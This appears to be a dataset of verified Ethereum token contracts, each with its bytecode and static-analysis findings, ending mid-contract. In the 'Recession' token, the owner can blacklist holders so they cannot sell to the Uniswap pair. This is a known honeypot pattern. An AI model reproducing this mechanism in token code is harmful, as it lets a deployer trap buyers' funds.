/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /** * @title BrainIs Token * @dev ERC20 BrainIs Token (BILT) * * BILT Tokens are divisible by 1e8 (100,000,000) base * units referred to as 'Grains'. * * BILT are displayed using 8 decimal places of precision. * * 1 BILT is equivalent to: * 100000000 == 1 * 10*8 == 1e8 * * All initial BILT Grains are assigned to the creator of * this contract. * */ contract BrainIsToken is StandardToken, Pausable { string public constant name = 'BrainIs'; // Set the token name for display string public constant symbol = 'BILT'; // Set the token symbol for display uint8 public constant decimals = 8; // Set the number of decimals for display uint256 public constant INITIAL_SUPPLY = 10000000 * 10**uint256(decimals); // 10000000 BILT specified in Grains /** * @dev BrainIsToken Constructor * Runs only on initial contract creation. */ function BrainIsToken() public { totalSupply = INITIAL_SUPPLY; // Set the total supply balances[msg.sender] = INITIAL_SUPPLY; // Creator address is assigned all } /** * @dev Transfer token for a specified address when not paused * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another when not paused * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender when not paused. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f15780632ff2e9dc1461026a578063313ce567146102935780633f4ba83a146102c25780635c975abb146102ef57806370a082311461031c5780638456cb59146103695780638da5cb5b1461039657806395d89b41146103eb578063a9059cbb14610479578063dd62ed3e146104d3578063f2fde38b1461053f575b600080fd5b34156100eb57600080fd5b6100f3610578565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105b1565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6105e1565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e7565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d610655565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a6610665565b604051808260ff1660ff16815260200191505060405180910390f35b34156102cd57600080fd5b6102d561066a565b604051808215151515815260200191505060405180910390f35b34156102fa57600080fd5b610302610731565b604051808215151515815260200191505060405180910390f35b341561032757600080fd5b610353600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610744565b6040518082815260200191505060405180910390f35b341561037457600080fd5b61037c61078d565b604051808215151515815260200191505060405180910390f35b34156103a157600080fd5b6103a9610855565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f657600080fd5b6103fe61087b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043e578082015181840152602081019050610423565b50505050905090810190601f16801561046b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048457600080fd5b6104b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108b4565b604051808215151515815260200191505060405180910390f35b34156104de57600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610920565b6040518082815260200191505060405180910390f35b341561054a57600080fd5b610576600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109a7565b005b6040805190810160405280600781526020017f427261696e49730000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156105cf57600080fd5b6105d98383610a7e565b905092915050565b60005481565b6000600360149054906101000a900460ff1615151561060557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561064157600080fd5b61064c848484610c05565b90509392505050565b600860ff16600a0a629896800281565b600881565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106c857600080fd5b600360149054906101000a900460ff1615156106e357600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b600360149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107eb57600080fd5b600360149054906101000a900460ff1615151561080757600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f42494c540000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156108d257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561090e57600080fd5b6109188383610eb5565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610a7b5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080821480610b0a57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610b1557600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cd983600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6e83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106e90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc4838261106e90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000610f0982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106e90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9e82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561106457fe5b8091505092915050565b600082821115151561107c57fe5b8183039050929150505600a165627a7a7230582073e741b328694144707e4473528109c1cc91a3f5db7e0d1d9a6fc91e4d2710080029
{"success": true, "error": null, "results": {}}
10,074
0x8E69a40E463e9fBf3bd1B341064AB60583bBc4F6
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract Recession is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Recession"; string private constant _symbol = "RCSN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant totalTokens = 100 * 1e9 * 1e9; uint256 public _maxWalletAmount = 3 * 1e9 * 1e9; uint256 private _previousLiqFee = liqFee; uint256 private _previousProjectFee = projectTax; uint256 private liqFee; uint256 private projectTax; struct FeeBreakdown { uint256 tLiquidity; uint256 tMarketing; uint256 tAmount; } mapping(address => bool) private bots; address payable private deployWallet = payable(0x79c938E8aCd757dbC83E332386E1a6C22347a5D4); IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), totalTokens); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); _balances[_msgSender()] = totalTokens; emit Transfer(address(0), _msgSender(), totalTokens); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return totalTokens; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() private { if (projectTax == 0 && liqFee == 0) return; _previousProjectFee = projectTax; _previousLiqFee = liqFee; projectTax = 0; liqFee = 0; } function restoreAllFee() private { liqFee = _previousLiqFee; projectTax = _previousProjectFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takeFee = !inSwap; if (from != owner() && to != owner() && from != address(this) && to != address(this)) { if (from == uniswapV2Pair && to != address(uniswapV2Router)) { require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { require(!bots[from] && !bots[to]); } } _tokenTransfer(from, to, amount, takeFee); restoreAllFee(); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deployWallet, block.timestamp ); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLPamount = liqFee.mul(contractTokenBalance).div(projectTax.add(liqFee)); uint256 half = autoLPamount.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(otherHalf); uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf); addLiquidity(half, newBalance); } function blacklist(address _address) external onlyOwner() { bots[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { require(_msgSender() == deployWallet); bots[_address] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) { removeAllFee(); } _transferStandard(sender, recipient, amount); restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 amount) private { FeeBreakdown memory fees; fees.tLiquidity = amount.mul(liqFee).div(100); fees.tAmount = amount.sub(fees.tLiquidity); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(fees.tAmount); _balances[address(this)] = _balances[address(this)].add(fees.tLiquidity); emit Transfer(sender, recipient, fees.tAmount); } receive() external payable {} function setMaxWalletAmount(uint256 maxWalletAmount) external { require(_msgSender() == deployWallet); require(maxWalletAmount > totalTokens.div(200), "Amount must be greater than 0.5% of supply"); require(maxWalletAmount <= totalTokens, "Amount must be less than or equal to totalSupply"); _maxWalletAmount = maxWalletAmount; } }
0x6080604052600436106101025760003560e01c80636c0a24eb1161009557806395d89b411161006457806395d89b41146102dd578063a9059cbb1461030a578063dd62ed3e1461032a578063f2fde38b14610370578063f9f92be41461039057600080fd5b80636c0a24eb1461025e57806370a0823114610274578063715018a6146102aa5780638da5cb5b146102bf57600080fd5b806327a14fc2116100d157806327a14fc2146101c8578063313ce567146101ea57806349bd5a5e14610206578063537df3b61461023e57600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101a857600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260098152682932b1b2b9b9b4b7b760b91b60208201525b6040516101499190610fa6565b60405180910390f35b34801561015e57600080fd5b5061017261016d366004610f65565b6103b0565b6040519015158152602001610149565b34801561018e57600080fd5b5068056bc75e2d631000005b604051908152602001610149565b3480156101b457600080fd5b506101726101c3366004610f2a565b6103c7565b3480156101d457600080fd5b506101e86101e3366004610f8e565b610430565b005b3480156101f657600080fd5b5060405160098152602001610149565b34801561021257600080fd5b50600c54610226906001600160a01b031681565b6040516001600160a01b039091168152602001610149565b34801561024a57600080fd5b506101e8610259366004610ede565b610541565b34801561026a57600080fd5b5061019a60045481565b34801561028057600080fd5b5061019a61028f366004610ede565b6001600160a01b031660009081526001602052604090205490565b3480156102b657600080fd5b506101e86105ac565b3480156102cb57600080fd5b506000546001600160a01b0316610226565b3480156102e957600080fd5b506040805180820190915260048152632921a9a760e11b602082015261013c565b34801561031657600080fd5b50610172610325366004610f65565b6105e2565b34801561033657600080fd5b5061019a610345366004610ef8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561037c57600080fd5b506101e861038b366004610ede565b6105ef565b34801561039c57600080fd5b506101e86103ab366004610ede565b61068a565b60006103bd3384846106d8565b5060015b92915050565b60006103d48484846107fc565b6104268433610421856040518060600160405280602881526020016110b3602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b1b565b6106d8565b5060019392505050565b600a546001600160a01b0316336001600160a01b03161461045057600080fd5b61046468056bc75e2d6310000060c8610b55565b81116104ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b60648201526084015b60405180910390fd5b68056bc75e2d6310000081111561053c5760405162461bcd60e51b815260206004820152603060248201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160448201526f6c20746f20746f74616c537570706c7960801b60648201526084016104c1565b600455565b6000546001600160a01b0316331461056b5760405162461bcd60e51b81526004016104c190610ff9565b600a546001600160a01b0316336001600160a01b03161461058b57600080fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6000546001600160a01b031633146105d65760405162461bcd60e51b81526004016104c190610ff9565b6105e06000610b9e565b565b60006103bd3384846107fc565b6000546001600160a01b031633146106195760405162461bcd60e51b81526004016104c190610ff9565b6001600160a01b03811661067e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c1565b61068781610b9e565b50565b6000546001600160a01b031633146106b45760405162461bcd60e51b81526004016104c190610ff9565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6001600160a01b03831661073a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c1565b6001600160a01b03821661079b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108605760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c1565b6001600160a01b0382166108c25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c1565b600081116109245760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c1565b600c5460ff600160a01b90910416156109456000546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561097457506000546001600160a01b03848116911614155b801561098957506001600160a01b0384163014155b801561099e57506001600160a01b0383163014155b15610af857600c546001600160a01b0385811691161480156109ce5750600b546001600160a01b03848116911614155b15610a7d576004546109ff836109f9866001600160a01b031660009081526001602052604090205490565b90610bee565b1115610a7d5760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a4016104c1565b600c546001600160a01b038481169116148015610aa85750600b546001600160a01b03858116911614155b15610af8576001600160a01b03841660009081526009602052604090205460ff16158015610aef57506001600160a01b03831660009081526009602052604090205460ff16155b610af857600080fd5b610b0484848484610c4d565b610b15600554600755600654600855565b50505050565b60008184841115610b3f5760405162461bcd60e51b81526004016104c19190610fa6565b506000610b4c8486611085565b95945050505050565b6000610b9783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c65565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600080610bfb838561102e565b905083811015610b975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c1565b80610c5a57610c5a610c93565b610b04848484610cc1565b60008183610c865760405162461bcd60e51b81526004016104c19190610fa6565b506000610b4c8486611046565b600854158015610ca35750600754155b15610caa57565b600880546006556007805460055560009182905555565b610ce560405180606001604052806000815260200160008152602001600081525090565b610d056064610cff60075485610e0190919063ffffffff16565b90610b55565b808252610d13908390610e80565b6040808301919091526001600160a01b038516600090815260016020522054610d3c9083610e80565b6001600160a01b03808616600090815260016020526040808220939093558383015191861681529190912054610d7191610bee565b6001600160a01b03841660009081526001602052604080822092909255825130825291902054610da091610bee565b30600090815260016020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600082610e10575060006103c1565b6000610e1c8385611066565b905082610e298583611046565b14610b975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c1565b6000610b9783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b1b565b80356001600160a01b0381168114610ed957600080fd5b919050565b600060208284031215610eef578081fd5b610b9782610ec2565b60008060408385031215610f0a578081fd5b610f1383610ec2565b9150610f2160208401610ec2565b90509250929050565b600080600060608486031215610f3e578081fd5b610f4784610ec2565b9250610f5560208501610ec2565b9150604084013590509250925092565b60008060408385031215610f77578182fd5b610f8083610ec2565b946020939093013593505050565b600060208284031215610f9f578081fd5b5035919050565b6000602080835283518082850152825b81811015610fd257858101830151858201604001528201610fb6565b81811115610fe35783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156110415761104161109c565b500190565b60008261106157634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156110805761108061109c565b500290565b6000828210156110975761109761109c565b500390565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206bcda192eab10413ea62af9c051c91c03372a7183b80362aa18ddf219ba2b1df64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,075
0xe1Ca39953e182bE38e8D5E24C93ca94ABcCa0C6F
pragma solidity ^0.8.12; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit 